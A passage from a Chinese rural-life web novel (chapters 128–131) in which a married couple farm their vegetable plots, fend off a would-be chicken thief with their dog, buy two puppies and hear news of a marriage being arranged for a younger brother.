“嗯。”裴厌答应着,又翻开一块石头寻找。 都穿着草鞋,不怕被水浸湿,回去换下晒干就好,他俩提着鱼篓竹篮往回走,一进门先把这些东西喂鸡鸭。 顾兰时和裴厌在鸡圈外面用石头砸螺,围过来的大母鸡透过篱笆缝隙看见,一个个急得跟什么一样,咕咕咕直叫,还把脑袋从缝里伸出来,连它们也知道这是好东西。 第128章 成片的野菜已经长老了,人要想吃,只能挑刚发上来的幼苗挖,顾兰时用镰刀割下一大把野菜,长得这么繁茂,打回去喂猪驴刚好。 家里已经不缺菜吃了,尤其他们家,菜地大,种的菜比别人家更多,院子里的小菜地也没荒废,依旧种了菜。 春菜、蒿菜不说,扁豆和青瓜结了不少,天天都能摘许多。 竹筐里塞的满满的,顾兰时用帕子擦擦额上汗水,在原地歇一下后,才背起筐子拿了镰刀往回走。 已经打了两回草,回到家后,顾兰时看一眼天色,没到晌午,他提着竹篮往大菜地走,见青瓜又挂了不少果,他进去捡大的摘下来。 青瓜偏长,吃起来脆生,但味道比较淡,吃法倒挺多,饿极了摘一根就能生啃,炒着吃也行,生切能凉拌,有肉吃的时候配上,倒是很爽口,还能切成条腌成小菜,要么就是切条晒干,能当配菜炖肉炖鸡吃。 青瓜长得太大老了就不好吃,他把所有大的都摘了下来,十一二根装在竹篮里,沉甸甸的。 提着篮子,顾兰时又往扁豆地里走,春扁豆一旦开始结起来,每天都有许多,他同样捡着大的摘下来。 大黑跟在他屁股后面转悠,它对这些瓜菜兴趣不大,又绿又脆的春菜近来得了它的青睐,每天都要啃几片。 狗再聪明,也没法像人一样仔细隐藏被啃坏的菜叶子,顾兰时和裴厌早就发现了,看在它没有乱啃的份上,裴厌没打它。 顾兰时这两天挖春菜的时候,没有去挖被它啃过的,在它跟过来的时候,就在啃过的春菜上给它掰几片。 大黑很会看眼色,如此几回下来,它也明白了,啃过的几棵都是它的,于是想吃的时候就专挑那几棵去啃,到今天那几棵春菜已经坑坑洼洼,没几片好叶子了。 摘完后,顾兰时拎着竹篮往院里走,舀水在灶房门口洗菜,顺便把扁豆丝拔掉。 这么多青瓜和扁豆,一两顿肯定吃不完,但也不能放任在藤蔓上长老,只能洗干净后,该切条的切条,该焯水的焯水,趁太阳好,都晒成菜干子。 也是这几天没工夫去镇上卖菜,况且还没到结瓜真正的繁盛日子,先紧着自家吃几天,过几日就到怎么吃都吃不完的时候,再拉去镇上卖钱不迟。 顾兰时端起竹匾,把青瓜拿到案台上全都切成了长条,又拿了一个大竹匾,留够等下要炒菜用的一碗,把余下的瓜条子铺在竹匾上,直接端到院里晒。 他捏了一根青瓜条吃,咬下去很脆生,有股淡淡的清甜味,在襜衣上擦擦湿手,给大锅里舀了水,随后蹲在灶前用火石擦火。 留下够今天吃的扁豆,水烧开后,他把剩下的扁豆倒进锅里煮,过一会儿捞上来,同样铺在竹匾里拿出去晒。 舀出锅里的热水,见灶底火没熄,顾兰时干脆用布巾擦了擦锅底,随后又添两瓢净水,抓两把米淘洗好倒进去,又架上木架,放了几个糙馒头和两个肉包子,添旺灶底火烧起来。 既然热了肉包子,菜的话炒一碗青瓜条就好,到傍晚再用酱汁焖扁豆。 米汤煮好得一阵子,顾兰时刚把案台擦干净,裴厌就进了门。 他今天早上去水田那边通水渠去了,天渐渐热起来,水田不能太旱,水渠里的草高了,泥也有点堵,他衣服和裤管上不免沾了些泥点子。 顾兰时从灶房窗户看出去,笑道:“回来得正好,我刚把饭做上。” 裴厌裤管挽在小腿中间,赤着脚,把手里的草鞋放在柴堆上,他还拎了一个鱼篓,走到灶房门口放下,笑着开口:“两亩的水渠都通了,还抓了些泥鳅,有大有小,大的咱们自己吃,小的我去剁了给鸡鸭。” 见他打赤脚,顾兰时把擦案台的布巾在木盆里洗了洗,说道:“怎么没穿鞋?” “天热了,从田里走回来路上又平坦,等下我去井边洗干净再穿。”裴厌说着,看一眼自己脚板,一路走回来确实脏了,于是先拎起草鞋,出去打水洗腿脚了。 顾兰时拾掇完案台,出来把鱼篓的东西倒进木盆里,泥鳅还不少,在木盆里扭动着带泥的身躯。 他把小的拣出来,丢回篓子里,剩下那些大的,倒些水养两天吐吐泥沙再吃。 裴厌洗完脚穿了草鞋进来,顾兰时把鱼篓递过去,说:“小的都在里头。” “嗯。”裴厌拎上篓子,又转身出去了。 木头板子和剁草用的刀就在鸡圈外面,后院只剩猪和毛驴,它们吃草用不着剁,把鸡鸭挪出来后,一些家伙什也都搬了出来。 今天晌午饭吃得早,吃完两人都躺下眯了一阵子,起来见太阳大,于是他俩背起竹筐往山上去打草,有树林遮蔽,要比山下凉快许多。 除了牲口每天吃的十几二十斤鲜草,还要多割一些回去,晒成干草积攒起来,下雨不说,一到深秋就没有鲜草吃了,他们今年还要多养三头猪,这会儿就得早做准备。 这也是裴厌最近没有去码头做工的原因,大菜地要管,田里要照看,割草更是不能耽误的事,还想给鸡鸭吃好点,不是挖地龙就是下网捕鱼。 顾兰时还要洗衣做饭,一个人根本忙不过来,他只能留家里一起干活。 好在过几天,瓜菜结的繁茂以后,就能卖钱了,只要有进项,和出去做短工差不多,只要家里一切事宜都顺当,不愁后边来不了钱。 林子里,踩断树枝的动静惊走枝头鸟雀,顾兰时看见一丛野薯,走过去松松周围土,双手拽着老茎费力拔出来,带出的土块簌簌落下。 茎杆粗,底下的薯根也大,他拍拍薯根上的土,把细根须捋掉,上面的茎杆和叶子也没用,只留下薯根装进竹筐里,回家煮了给猪吃。 裴厌在附近割了一筐子草,顺着声音找过来,见他在拔薯根,近前帮着一起弄。 一下午,他俩上山跑了两趟,谷场上晒了不少草,见太阳没那么大了,他俩又去河边割了一回草。 又是忙碌的一天过去,虽然干的都不是重活,但脚下一直没怎么歇,依旧累人。 月色如水,清粼粼照亮大地。 房里没有上灯,泡完脚后,顾兰时打着哈欠先上了炕。 因离山近,夜里还有点偏凉,盖着被子刚好,不冷不热正合适,睡觉比炎夏和寒冬不知舒服了多少。 裴厌倒了洗脚水回来,关好房门也摸上炕,窗户留了一丝缝隙,月光从中泄露进来。 他翻个身面朝里,低声说道:“今天打的草多,明天就不用这么赶了,下午我把木头和竹竿搬出来,挑些结实的,给井上搭个葫芦架。” “好。”顾兰时答应道。 这时节还好,到夏天要是晌午打水,站在那里太晒了,先把架子搭好,到明年春天再种葫芦,赶着时令节气种下瓜菜,长出来的东西才好吃呢。 说几句话,见顾兰时困得迷迷糊糊,裴厌喉结滑动,还是没忍住,钻进了顾兰时被窝。 他年轻力壮,干一天活并不算什么。 顾兰时早习惯了,被子蒙上头后没说什么,连眼睛都没睁开,由着裴厌动作,不过睡肯定是睡不着了,只是暗自忍着,没敢出声,不然裴厌还不知要到什么时候。 夜色越深,月光依旧明亮。 房里的动静渐渐止息,裴厌喘着粗气,随手拿自己里衣进被窝给人擦擦,又扔出去,搂着夫郎这才心满意足闭上眼睡觉。 顾兰时胸膛起伏不定,他自己睡一个被窝还好,多个裴厌,肉贴肉挨在一起有点热,不过他什么都没说,找了个舒坦的姿势赶紧睡了,万一再闹出什么事,一晚上都歇不了。 山林传来虫鸣声,远处村庄陷入了沉睡,到处都很安静,夜半时刻,正是人熟睡的时候。 “汪汪汪!” 突然,连续不断地狗叫声打破平静,裴厌立即睁开眼,听见大黑还在叫,他没有停顿,翻找到衣裳裤子随便穿好就往外走。 顾兰时也被惊醒,在房门打开的时候回过神,外头狗叫声很大,一听就是有情况,他连忙找衣裳,说:“我跟你一起。” “我先去看看,你不急,先在屋里待着。”裴厌脚下走得很快,说完已经打开堂屋门出去了。 顾兰时实在不放心,大黑再次汪汪叫了起来,他穿好衣裳赶紧就出了门,这是他们自己家,裴厌和狗都在,应该没什么危险。 一出堂屋门,院子被月亮照的很亮,根本不用打火把。 他匆匆出了院门,自从鸡鸭挪出来后,他俩给大黑在院外鸡圈旁搭了个大狗窝,夜里让狗睡在外面看鸡鸭。 裴厌正站在西边篱笆墙下,大黑正是冲着那边在叫。 “怎么了?”顾兰时走近低声问道。 裴厌从篱笆缝隙里看了一会儿,说:“我刚出来时,有个人影在外头,狗叫声一大,那人就跑了。” 鸡圈建在院子西边的山壁之间,离西边篱笆墙近,篱笆墙编的时候就弄得挺密,但免不了还是有些缝隙。 这篱笆墙弄的比裴厌还高,就是怕有人半夜翻进来,幸好大黑足够机警,将贼人吓跑了。 “我出去看看。”裴厌说着,就往篱笆门那边走。 顾兰时下意识跟上,却被他拦住,让和大黑待在院里等着。 看着裴厌出去,顾兰时望向西边篱笆墙,原以为裴厌名声不好,贼应该不敢上门,没想到还是有铤而走险的,得亏他们养了狗。 第129章 大黑的叫声惊醒了离得最近的鸡鸭,听见鸡圈里乱糟糟咕咕叫扇翅膀的动静,顾兰时走过去借着月色看了看。 还好,贼人被发现后没能进来,鸡鸭只是受惊而已,这会儿大黑已经不叫了,只是警惕地看向篱笆墙那边。 听到篱笆墙外的动静,顾兰时试探着开口:“裴厌?” “是我。”裴厌在篱笆墙那边说道,没过一会儿,他又开口:“这边有挖土的痕迹,估计是翻不过去,想从下面挖洞钻进去,没挖几下就被发现了。” 一听这话,顾兰时心中一跳,说道:“幸好大黑听见了。” “嗯。”裴厌站在篱笆墙外,月色照亮大地,他转身看向西边树林子,贼人早没影了,这会儿去追的话根本找不到。 他又说道:“既然走了,想必不会再来,回去睡觉。” “好。”顾兰时答应着,心里却还是有点放心不下,他没有立即回屋,站在院门前等着。 裴厌进来后,看一眼摇了几下尾巴的大黑,奖赏性伸手揉了揉狗头。 除了顾兰时以外,大黑很少被这样揉脑袋,它尾巴疯狂在身后摇,喉咙里发出呜呜呜的急切叫声。 顾兰时原本担忧的情绪被眼前一幕冲淡,笑着说道:“今天立功了,明儿给你吃顿好的。” 裴厌有点嫌弃大黑这幅模样,不过见顾兰时笑了,他抬头看一眼月色,说:“子时都过了,应该是今天给它吃。” 玩笑几句,让大黑继续在外面看家,两人进院子关好院门。 月色很亮,连点灯都不用,他俩进屋子以后上了炕,一时半会儿还有点睡不着。 裴厌说道:“养了这么多鸡,前段时间打井,人来人往,再说这些东西养在那儿,也瞒不住,才叫人起了贼心。” 猪羊驴牛这些大的牲口不好偷,半夜来贼,也只有鸡鸭能摸走,顾兰时也懂这个,低低附和一声。 要是依旧养在后院的话,连篱笆墙带院墙两道阻碍,贼还不一定敢上门,把鸡鸭挪出去,只隔着篱笆墙和一段菜地,就显得近在咫尺了。 偷菜倒不至于,这会子家家有菜吃,就算不种菜不种地的懒汉,随便挖点野菜都能应付一下肚子,也没有贼会为了偷一点不怎么值钱的菜得罪裴厌,肯定是冲着鸡鸭来的。 “那咱们怎么办,也不知道贼人是谁,没有千日防贼的道理。”顾兰时忧心道,被贼盯上的感觉可真不好,总觉得哪天不注意,就被偷走了他们辛苦养大的鸡。 裴厌想了一下,说:“这也没什么难的,有大黑在,夜里有个警醒,一般人都惧怕它。明天我去村里打听打听,看有没有什么风声,不过这深更半夜的,都在屋里睡觉,估计这段时日打听不出来什么,况且也没凭证,人赃并获才好发作。” 他想了一下又说道:“鸡圈在外面,菜地又大,就算来了贼被咱们发觉,跑出去抓贼的话,咱们在里他们在外,贼早就没影了,不如多养几只狗,寻常小贼肯定再不敢靠近。” “那好,多养几只,叫这些贼再不敢过来。”顾兰时心中总算有了底,大黑又壮又凶,比小狗厉害多了。 想到这里,他又说:“有大狗就养大狗,当真出了事,小狗肯定没有大狗厉害。” 裴厌开口道:“嗯,我在附近村子打听打听,再去镇上看看,牲口市也有卖狗的。” 说一阵子话,见裴厌并不畏惧,顾兰时渐渐放了心,以后多留神就是了,再怎么,有裴厌在,好像也没有那么怕。 * 一大早就听到了消息,方红花急匆匆从祖宅往后山走,路过他家老四门口时,停下朝里面张望一眼,见老四媳妇在提水,她站在门口喊道:“秋莲!” “娘,进来坐。”苗秋莲把水桶放在原地,招呼她进门。 方红花没有进去,站在门口问道:“你可听说了?兰哥儿那边夜里遭贼的事。” 苗秋莲往门外走,气得嗓门都大了点,说:“清早姑爷就来说过了,还跟四邻打听,看夜里有没有听到什么动静,该死的,竟偷到咱们头上。” “可惜夜里睡得沉,没听到外头有啥动静,不然,准叫贼人好看。”苗秋莲愤愤不平,他兰哥儿从成亲到现在容易吗,坎坎坷坷过来,好不容易把日子过好过顺当了。 说起来他家前几年其实也遇到过这事,同样是有狗在,想翻墙进来的贼没有得逞,溜下墙头跑了,顾铁山追出去也没找到影儿,大家心里都明白,肯定是附近的人,才能溜得这么快,躲进门里就寻不到了,好在后来没有再发生这种事。 乡下人院墙门户不高,多少都遭过这种事,贼可不管谁家富谁家穷,只要家里有点东西,就敢打坏主意,运气好的没有被偷,运气差点的,鸡鸭被偷走,一家子气得要骂好几天。 “行行,我过去看看。”方红花没有多留。 等她进篱笆门,顾兰时和裴厌正在打水浇菜地,早上太阳没那么晒,现如今有井了,不用去河边挑,省了腿脚又省力气。 “阿奶。”顾兰时摇着辘轳喊道,裴厌拎着水桶往菜地走,同样喊了一声。 “没怎么样吧。”方红花边走边问道。 顾兰时笑了下,说:“阿奶,放心,没出什么事,夜里有狗在,贼在外面想挖洞进来,没得逞就被发现了,跑得快,就没追上。” 昨晚之所以没去追,是裴厌不放心顾兰时一个人在家,人多还好,起码有个伴,但家里就他们两人,他一走,就剩顾兰时自己,有大黑在也没那么放心。 “幸亏养了狗。”方红花说道。 顾兰时笑道:“可不是,我俩昨晚还说了,家里这么大地界,还是多养几只,夜里看家护院才更放心。” 说着话,他从院门口那边拿了两张凳子,让方红花坐下,自己也坐在旁边。 既然没出什么事,方红花在这边说了一阵子话就走了,出门后还特意绕到篱笆墙那边,果然看见土被挖出来又给填回去的痕迹,她不免骂了几句。 不过一上午,这件事就传遍了小河村,连带着裴厌随意说的话,真让他抓到,非剁一只手。 要是其他人说这话,可能还不以为然,可一落到他头上,哪有不信的,毕竟真的砍过手,也断过别人腿脚。 闲话传的最快,越传也越有点没边儿,不过少有人真来裴厌面前说这些,有的话离谱了些,并没造成什么,他和顾兰时都没在意。 除了贼以外,人人都痛恨溜门撬锁的贼,乡下人钱财不多,更是越发小心,流言虽有,但大伙儿都警惕了几分,生怕自己家被盯上。 下午。 裴厌从柴堆里挑出搭葫芦架用的木头,柴堆有不少长树干从山上拖下来后还没砍断,有那种手腕粗的细长树干正好,顾兰时帮忙打下手抬出来。 大黑晌午吃了肉汤泡馒头,还有不少肉片子,那叫一个高兴,在旁边冲他俩直摇尾巴,嘴巴也咧着,像是在笑,可惜两人都忙,没工夫看它“谄媚”。 把一根木头抬出来后,顾兰时站在旁边拍拍手上的灰土,说道:“爹说附近几个村子的大狗要么没下,要么就是性子不好,暂时没合适的。” 吃完晌午饭后,裴厌出门打草,他回家打听谁家有大狗,跟裴厌不同,他爹活了这么多年,在附近认识的人更多些。 裴厌把底下一根木头翻出来,说:“那明天早上我去卖菜,顺便在牲口市转转,别处没有,那里肯定有。” “好,碰到合适的就买下。”顾兰时叮嘱道,卖菜用不着两个人,他留在家里还要割草。 * 庄稼人的日子少有波澜,闹贼掀起了一点风波,但没有给日子添上阴霾。 第二天一早,摘了一筐青瓜和大半筐扁豆后,裴厌赶着驴车往镇上去了,等他再回来,竹筐里多了两只毛茸茸的灰色狗崽。 “可真肥,老狗奶的真好。”顾兰时从筐子里抱出一只,这个月龄的狗崽正是最好看最招人疼的时候。 他稀罕的不得了,抱在怀里揉了又揉,狗崽被揉的也高兴,闻闻他手指之后,就吐出小舌头舔他手,嘤嘤嘤直叫。 筐子里另一只小狗崽听到人声,急得嗷呜嗷呜叫起来。 第二只狗崽毛更柔软蓬松,养的很不错,他把两只肥嘟嘟的狗崽都抱在怀里,满心是说不上来的高兴,这些小东西可真漂亮。 裴厌把筐子从车上取下来放在一旁,笑道:“老狗我也看过了,公母都是大狗,别看这会儿又肥又胖,长大就好看了,长腿立耳,是看家护院的好手。” “眼下也好看呢,胖胖的,全是肉,抱起来软乎乎的。”顾兰时很高兴,递了一只过去,又说:“以前家里老狗抱回去的时候,我还小,不大记事,二黑是两年多前抱回去的,它那时也胖呢,不过也就那几个月好玩,狗长得都快。” 裴厌一手将毛绒绒的狗崽把住,狗崽低头舔他的手,从前对这些小东西不太在意,眼下还真如顾兰时所说,肚皮软又热。 大黑早闻到了不同的味道,站在旁边仰起头盯着,尾巴一动不动。 见顾兰时实在喜欢,他又把小狗还回去,一边解车套一边说:“花了三百文。” “这么贵。”顾兰时有点惊讶。 裴厌笑了下,说:“我原本还看了别的,都没这两只好,那些便宜,咱们平时不买狗,都是问相熟的人要一两只,我还是今天去了才知道,模样漂亮性子又好的大体型狗,价钱都不便宜呢。” “买都买了,能看家护院就是最好的。”顾兰时念叨了一句给自己宽心,见裴厌把荷包递过来,他把两只狗崽放在地上。 一落地,两只都摇着竖起来的小尾巴围着他脚边转,有一只还将毛绒绒的前爪踩上他鞋面,用小脑袋蹭他小腿,那叫一个亲人。 大黑见状,低着头凑过来嗅闻,顾兰时发现它举动后,没有着急数钱,怕它不知轻重咬了狗崽子。 好在大黑并没有做出攻击性动作,只是警惕谨慎地闻了好一阵,狗崽见有大狗在,当真是初生牛犊不怕虎,嘤嘤嘤叫着,两只都去闻大黑,小尾巴也一直摇动示好。 大黑对它俩兴趣不大,闻一阵后直接走开了,两只狗崽跑着追上它,毛绒绒两团,有一只还跳着跑。 顾兰时在后面看得一脸笑意,心想狗崽子可真招人稀罕。 第130章 因大黑前天晚上立了功,晌午吃饭时,顾兰时依旧给它倒了肉汤,至于两个刚到家的小狗崽,刚进门就不怕人,他心中喜欢,况且是养来看家护院的,太瘦可起不了威慑。 给大黑的糙馒头是随手掰开,狗崽太小,他馒头块掰的细,在温热的肉汤里泡软烂了,才放下碗让两只狗崽来吃。 碗是缺了口的旧碗,暂时先给它们用,肉汤里还倒了些米粥。 两只狗崽闻到肉味,恨不得把脑袋都埋进碗里,它们已经断奶,在原先的人家也是吃剩饭剩菜的,偶尔有点肉腥。 见它俩头挤头,一边吃一边去挤对方,边吃边绕着碗转起来,顾兰时端起自己的饭碗都顾不上吃,看了好一会儿。 狗崽连碗底都舔干净后,小肚子鼓起来,一抬脑袋嘴巴一圈都是汤水,他放下碗,说道:“埋汰的。” 这要撒欢跑出去,外头地上全是土,肯定弄得更脏,他拿起搭在椅背上的手帕,一看是旧的,就放心给两只狗崽擦干净嘴。 以前大黑太脏他看不下去,再养两只,可不能像以前那样,狗和别的牲口不一样,人来人往都能看见,拾掇干净些,他们自己心里也舒坦。 裴厌拿起一个馒头,见他还在跟狗崽玩耍,说道:“快吃吧,一会儿肉凉了。” 摸了帕子,手上不免沾了点肉汤汁,顾兰时起身去院里洗手,不然拿馒头会沾上这些。 吃饱喝足的狗崽跑到桌子底下,一个咬住顾兰时裤管玩,一个踩着裴厌鞋面摇尾巴。 顾兰时低头看一眼,见只是咬着玩就没管,和裴厌一样先吃饭。 至于堂屋外面的大黑,它的食盆放在屋檐下,吃完后听见里头的动静,站在外面看了一会儿,随后转过头走到院子角落趴下。 喂了猪之后,见太阳有点大,顾兰时从后院出来,看裴厌在劈柴,他说道:“要不歇歇,眯一阵子起来再干活。” “也好。”裴厌答应一声,把墩子上的柴火劈开才撂下斧头。 两只狗崽在屋檐下咬成一团,底下被咬疼的那只嗷嗷惊叫两声,挣扎爬起来后就扑向另一只,打得有来有往,不一会儿又变成追逐,你追我赶,在院里撒欢乱跑。 许是两只一起买回来的缘故,活泼极了,一点都不怕生。 顾兰时看见它俩,想起夜里睡觉的事,就进杂屋拿了一个麻袋,从麦秸堆里抽出干麦秸塞进去。 狗崽小,夜里地上冷,还是睡在麻袋上好,省得受凉病了。 他把麻袋放在地上,嘴里嘬嘬嘬叫几声,狗崽听见,摇着尾巴跑过来,一身毛绒绒的肉都在颠。 把狗崽放在麻袋上,两只不是咬住麻袋皮,就是躺在上面翻个身,四脚朝天对人露出肚皮。 顾兰时蹲在一旁,没忍住伸手揉了揉狗崽软乎乎的肚子。 另一只看见他手离得近,松开嘴里的麻袋就蹭过来舔他手指头。 裴厌把劈好的木柴抱进柴房,出来就看见他又在跟狗崽玩,拍拍身上的木屑,说道:“回头想想叫什么,有个名字。” “嗯。”顾兰时说道:“这一时半会儿还想不出来。” “不急。”裴厌说着,进灶房舀水洗手,还没说话,就见大黑往顾兰时那边去了。 正和狗崽玩耍,见大黑过来,顾兰时没有在意,不想大黑张大嘴巴打了个哈欠,随后就往麻袋旁边一躺,又装作打滚的模样,脑袋蹭到了麻袋上,它也四脚朝天露出了肚皮,只是个头有点大。 狗崽被大脑袋挤兑走了,顾兰时乐不可支,他是真没想到大黑会这样做,跟小孩似的。 “丢人现眼。”裴厌站起来擦手,瞥它一眼骂了句。 顾兰时揉两下大黑脑袋,见狗崽去扑大黑,想和它一起玩,笑着站起身去洗手,说:“心眼还挺多的,以前都没发现。” 见他走了,大黑躺了一下就爬起身,两只狗崽追着它,时不时绊两下腿,它避开狗崽快步出了院门。 最外面的篱笆门上了门闩,狗崽在外面跑也不怕丢,只是怕它们不懂事,在菜地里乱跑,弄坏菜就不好了,顾兰时把它们叫回来,关上院门让在院子里玩。 * 有风吹过,绿油油的菜叶随之摆动。 顾兰时拿了镰刀割春蒿,今年菜种的多,晒了不少菜干子,最近都没怎么出去挖野菜来晒。 春蒿种一茬能收两三回,跟韭菜较像,留下根还能长,田垄上的竹篮里整整齐齐放了一大把菜,两只狗崽顺着田垄跑过来,耳朵都在晃悠,跟屁虫一样在他附近转悠,这里嗅嗅那里闻闻,十分好动。 裴厌出门打草了,顾兰时又割一把春蒿放进篮子,见狗崽跑进地里,他伸手揪着狗崽后颈皮拎出去,又放回田垄上,拍拍狗崽屁股让它俩到旁边玩。 割菜要用镰刀,小狗在菜地里乱跑的话容易伤到。 狗崽还挺聪明,知道这里不能玩耍,两只追撵着跑向前面。 “汪汪汪!” 大黑在它俩钻进菜瓜藤蔓里后大声吠叫,狗崽受惊,被赶了出来。 顾兰时转头看一眼,见它俩没老实一会儿又打闹起来,还追着大黑跑,这回没有进菜地,这才放心。 只要不往菜地里钻,大黑没有再管,甚至还闻了闻它俩屁股,看起来还是不怎么感兴趣,自顾自往狗窝那边走。 “汪!” 稚嫩的叫声在大黑身后响起,两只狗崽跑的耳朵都甩起来。 没了跟屁虫绊腿脚,顾兰时割菜都快了些,蒿菜价钱便宜,今天早上裴厌又想早点回来,就只摘了菜瓜和扁豆。 这会儿割的这些,等下烧水焯一焯,晒成菜干就好。 一行蒿菜割完,竹篮满满的,他没有再割,提着回了院子。 烧一回水也不容易,柴火要从山上弄来,这么一想,顾兰时锁好两道门,背了竹筐往河边走。河边马齿菜多,多挖点,回去焯水都晒成干菜。 不知道裴厌去哪里打草,他边走边在周围张望,不想从身后传来喊声。 裴厌从西边树林那边出来,远远就看见他往河边走,再一看篱笆门锁着,连忙就将人喊住。 顾兰时又倒回来,边走边笑着说:“我以为你往河边去了,锁了门想去挖点马齿菜,正好要焯蒿菜。” “等等,我把这些掏出来,跟你一起去。”裴厌说道。 “喝碗茶水,不着急。”顾兰时没有一起进门,菜地大,他懒得再走一遍,只把院门上的钥匙给裴厌。 锁篱笆门时,一只狗崽趁人不注意,从缝隙里挤出去,肥嘟嘟的肚子被挤瘪了一瞬,出去后又恢复。 裴厌手疾眼快,一把将它抓住,轻轻丢进门里,顾兰时赶紧把门关好。 有大黑看着,让它俩跑跑也好,省得关进院子里一个劲嘤嘤嘤叫,听得人于心不忍。 小狗就是这样,很爱缠人,幸好有两只,没人的时候它们自己玩闹,要不就是去追大黑。 有时候为了躲它俩,大黑不是跳上狗窝顶,就是站到柴堆上,显然不愿意跟它俩玩耍。 狗崽腿还没那么长,它一爬上去,两只就站在下面嗷呜嗷呜叫,这几天顾兰时和裴厌都见怪不怪了。 早起,裴厌又赶驴车去卖菜,顾兰时看留下的瓜菜不少,于是拣了几根大的,用竹篮提着打算给他爹娘拿去。 出门时狗崽粘的紧,有大黑看家,他锁好门,就带着两只狗崽儿往回走,刚回来几天,还没见过其他人呢,也认认去村里的路。 一进村子,路上不但有人,还有狗和牛,两只狗崽儿好奇歪着小脑袋看,没忘了贴着顾兰时鞋边走,这会儿倒是乖了。 顾兰时低头看它俩一眼,笑了下没说话,跟门口邻居说两句话,就领着它俩进门了。 二黑性子很好,见是他带来的狗崽子,没有乱叫,三只互相嗅闻,小狗崽还摇了摇尾巴。 “娘。”顾兰时喊道。 苗秋莲正在屋里和人说话,听见他声音,也没出来,隔着窗户高声说道:“我在屋里,和你金凤婶子说话呢,快来。” 顾兰时把竹篮里的菜放进灶房,空篮子随手搁在院里的小凳上,回头看一眼狗崽,怕它俩跑出去,咂舌嘬嘬嘬叫过来,让一起进屋子。 “哎呦,这肥的。” 方金凤看见狗崽儿忍不住叹了一句,她挺爱狗的,伸手捞起一只摸了摸脑袋,笑道:“长得可真好看。” 顾兰时把另一只抱起来给他娘看,说:“大前天抱回来的,多养两只,好看家。” 方金凤摸了一会儿狗崽,从炕边下来放到地上,说道:“这事等我得了话再来,家里忙呢,先走了。” “好好。”苗秋莲也连忙下炕。 走到院里后,顾兰时说道:“婶子,我带了菜,你拿回去吃,不多,总能炒一碗。” “这怎么好意思。”嘴上这么说,在顾兰时递过来两根菜瓜后,方金凤笑得合不拢嘴,还是收下了。 她走以后,顾兰时和苗秋莲坐在堂屋说话,两只狗崽在旁边打架玩闹。 “娘,说定了?”顾兰时问道。 苗秋莲笑得眼尾都是褶子,说:“说了一家,我跟你爹昨天去打听了,那姑娘比狗儿小一岁,和咱家差不多,上头几个哥姐,孩子多,不过她是最小的,家里娇惯了些,可性子却不差,听人说做饭缝衣裳样样拿手,教的好呢。” “又去你姑妈家转了一圈,让帮着再打听打听,那边儿也问咱们的境况,等你金凤婶子同他们说了,才好往下一步走。” 顾兰时笑道:“这样,也八九不离十了。” 苗秋莲心里高兴,但没在嘴上说板上钉钉的话,只道:“他家你爹知道一些,家里日子不错,良田十来亩,吃饱是没问题的,还有骡子和牛,我和你爹昨儿远远看了一眼院落,屋子盖得也不错呢,从这些看,怎么都算门当户对了。” “这就好。”顾兰时点着头附和。 “只是……”苗秋莲顿一下,姑爷既然没来,她没有隐瞒,说道:“头先不是还说了一个,人家知道姑爷,还有些不情愿,扭扭捏捏,竟想多要彩礼,他们这样,我跟你爹还不愿意呢,这家人倒是看得清,也亏你金凤婶子说了几句好话,这不就有了些眉目。” 成亲后离得这么近,顾兰时常常回家,连带裴厌也常和顾家人来往,苗秋莲要是不说,他还真不知道裴厌名声还连累到家里了。 好在爹娘都向着他,顾兰时笑着开口:“那咱们就和他们没那个缘分。” “可不是。”苗秋莲应声道,她其实都没说完,那家人知道裴厌以前命硬,有天煞孤星的说法,讲了几句更不好听的。 她知道以后很生气,一开始还以为是畏惧裴厌凶名在外,不敢沾染上,没想到竟是因为这个。 也不看看裴厌如今的日子,又是鸡鸭又是菜地,她兰哥儿天天都能吃上鸡蛋,多少人都羡慕。 乡下人养鸡下了蛋,再多都舍不得吃,要拿去镇上换钱,满村里打听打听,就属裴厌能舍得,鸡蛋鸭蛋,只要他们兰时想吃,一天吃十个都不是事,卖不卖钱都不看在眼里。 就这样,那户人家还怕裴厌瘟了他们,当真是可笑。 不光裴厌,顾兰时自己也遭过一些流言蜚语,成亲前还比较在乎,成亲后渐渐就不想这些了,跟裴厌慢慢把日子过好,底气不免就足了,腰板也更直,才不怕那些闲话。 娘俩儿说一阵子话,狗儿和竹哥儿背着猪草回来。 听见一耳朵关于自己的婚事,顾兰瑜情不自禁傻乐起来,咧嘴直笑,他有点黑,在太阳底下一笑两排白牙分外显眼。 第131章 麦地里拔过草又浇过一遍水,地里还泥泞,暂时不用多管,再有一个多月,就能收麦子了,今年种的麦苗稀稠正好,顾兰时和裴厌都十分满意。 水田那边草也拔过了,顶多有些刚发上来的小苗,也不是很要紧,两人在百忙中总算能得一点空闲,不必家里地里两头跑,还要去镇上卖菜。 庄稼人每天都有干不完的活,每天睁开眼就忙,晚上倒头就睡,这一茬浇地的事过去了,能缓两天。即便这样,打猪草鸡草的事依旧不能落下。 辰时过半,太阳出来了,顾兰时在菜地里拔草,连根拔起的野草被扔在田垄上,到晌午时,太阳一大,两三天就彻底晒死晒干了。 裴厌又去镇上卖菜了,最近各种菜出的多,价钱没有蒜菜那时候贵,但每天出去一上午,就能卖几十个铜板,多了五六十,少一点也有二三十,天天能有进项,对他们来说已经足够了,毕竟在家里吃喝都不要钱,挣到的基本都能攒下。 狗崽在石子路上玩耍追逐,两团都毛绒绒的,不一会儿就往顾兰时这边跑来,两只小尾巴都竖起来,摇的很欢快,嘴里嘤嘤嘤直叫。 顾兰时拍拍手上泥土,伸手揉了揉狗崽,软乎乎胖嘟嘟的,真是讨人喜欢。 狗崽回来快十天了,白天尽情在院里和菜地撒欢,这么大的场院,足够它们跑来跑去,晚上就在给大黑搭的狗窝里一起睡觉。 原本大黑是不让它俩进窝的,还是顾兰时晚上听见狗崽在外面嗷嗷叫,才和裴厌一起开了院门出来看。 大黑的狗窝就在院门西边,因它体型大,撘窝的时候两人还商量过,要是狗直接睡在地上,万一下雨,雨水流进去的话,岂不是没有落脚的地方,于是就将狗窝搭的很高,几乎到顾兰时腰部,也省得大黑委委屈屈缩在里头,他们家这个狗窝,比村里谁家都宽敞。 狗窝不止大,里面更是有名堂,给垫了石头块,当时弄的时候,裴厌特地把地面挖开,将石块嵌进去,石头面是齐平的,又给石头面上铺了两块旧木板,最上面才是顾兰时之前给大黑装的麻袋。 睡觉的地方比地面高出许多,如此一来,就不怕雨水灌进去。 大黑对这个狗窝也很满意,冬天的时候睡在堂屋,开春后它还有点舍不得离开,不过自打狗窝建好以后,不用人说,它自己就进去睡了。 狗窝大,但门只开了一半,右边一半用篱笆和木板挡了起来,省得天冷时风直直吹进去,有遮挡会好很多。 